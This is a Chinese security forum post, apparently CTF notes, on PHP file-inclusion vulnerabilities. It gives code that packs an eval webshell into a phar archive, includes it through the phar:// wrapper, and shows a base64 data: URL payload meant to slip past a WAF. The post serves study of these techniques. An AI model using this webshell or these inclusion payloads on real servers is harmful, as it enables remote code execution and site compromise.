查看: 12025|回复: 0

文件包含漏洞(二)

[复制链接]
发表于 2017-4-9 19:12:07 | 显示全部楼层 |阅读模式
本帖最后由 人=族 于 2017-4-9 19:13 编辑

之前已经总结了一次文件包含漏洞相关的知识点,最近一段时间做CTF又遇到了不少以前没见过的包含新姿势,这里在总结一下,以后看的时候方便一些。

phar LFI0x01 什么是phar文件phar是一个文件归档的包,类似于Java中的Jar文件,方便了PHP模块的迁移。
php中默认安装了这个模块。
0x02 创建一个phar文件在创建phar文件的时候要注意phar.readonly这个参数要为off,否则phar文件不可写。
1
2
3
4
5
6
7
8
9
10
11
<?php

$p = new phar("shell.phar", 0 , "shell.phar");

$p->startBuffering();

$p['shell.php'] = '<?php phpinfo(); @eval($_POST[x])?>';

$p->setStub("<?php Phar::mapPhar('shell.phar'); __HALT_COMPILER?>");

?>
运行以上代码后会在当前目录下生成一个名为shell.phar的文件,这个文件可以被include,file_get_contents等函数利用0x03 利用phar利用phar文件的方法很简单,利用phar特定的格式就可以加以利用
1
2
3
4
5
<?php

include 'phar://shell.phar/shell.php';

?>
这样就可以成功把shell包含进来。当我们把shell.phar文件重命名为shell.aaa等一些无效的后缀名时,一样可以使用,说明了phar文件不受文件格式的影响。
(注意:需要allow_url_include = On 且 PHP >= 5.2.0)
0x06 data URL代码执行我们可以将攻击代码转换为data:URL形式进行攻击,但是直接在URL连接中出现一些敏感字符,会导致被waf检测,所以我们需要给攻击代码进行base64编码。
http://localhost/test/phar%20LFI/postinput.php?file=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg==

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-9 13:07 , Processed in 0.020403 second(s), 9 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部